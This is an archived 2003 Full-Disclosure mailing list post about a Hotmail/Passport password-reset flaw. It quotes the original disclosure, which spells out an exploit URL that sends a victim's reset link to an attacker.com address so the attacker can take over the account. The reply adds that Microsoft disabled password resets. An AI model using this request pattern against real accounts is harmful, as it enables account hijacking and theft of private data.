full-disclosure - Hotmail & Passport (.NET Accounts) Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

From: mike at m5computersecurity.com (Michael J McCafferty)
Subject: Hotmail & Passport (.NET Accounts)
  Vulnerability

Well, there ya go it's hit the mainstream press....
http://news.com.com/2100-1002_3-1000429.html?tag=lh

The story mentions that MS has turned off all password reset functionality 
by now.

At 07:50 PM 5/7/2003 -0700, Muhammad Faisal Rauf Danka wrote:
>Hotmail & Passport (.NET Accounts) Vulnerability
>
>There is a very serious and stupid vulnerability or badcoding in Hotmail / 
>Passport???s (.NET Accounts)
>
>I tried sending emails several times to Hotmail / Passport contact 
>addresses, but always met with the NLP bots.
>
>I guess I don???t need to go in details of how cruical and important 
>Hotmail / Passport???s .NET Account passport is to anyone.
>
>You name it and they have it, E-Commerce, Credit Card processing, Personal 
>Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.
>
>It is so simple that it is funny.
>
>All you got to do is hit the following in your browser:
>
>https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1
>
>And you???ll get an email on attacker@...acker.com asking you to click on 
>a url something like this:
>
>http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033
>
> >From that url, you can reset the password and I don???t think I need to 
> say anything more about it.
>
>Vulnerability / Flaw discovered         :       12th April 2003
>Vendor / Owner notified         :       Yes (as far as emailing them more 
>than 10 times is concerned)
>
>
>Regards
>--------
>Muhammad Faisal Rauf Danka
>
>_____________________________________________________________
>---------------------------
>[ATTITUDEX.COM]
>http://www.attitudex.com/
>---------------------------
>
>_____________________________________________________________
>Select your own custom email address for FREE! Get you@...rchoice.com w/No 
>Ads, 6MB, POP & more! http://www.everyone.net/selectmail?campaign=tag
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html

**************************************************
Michael J. McCafferty
Principal, Security Engineer
M5 Computer Security
858-576-7325 Voice
http://www.m5computersecurity.com
**************************************************
--- "If you build it, they will hack !" ---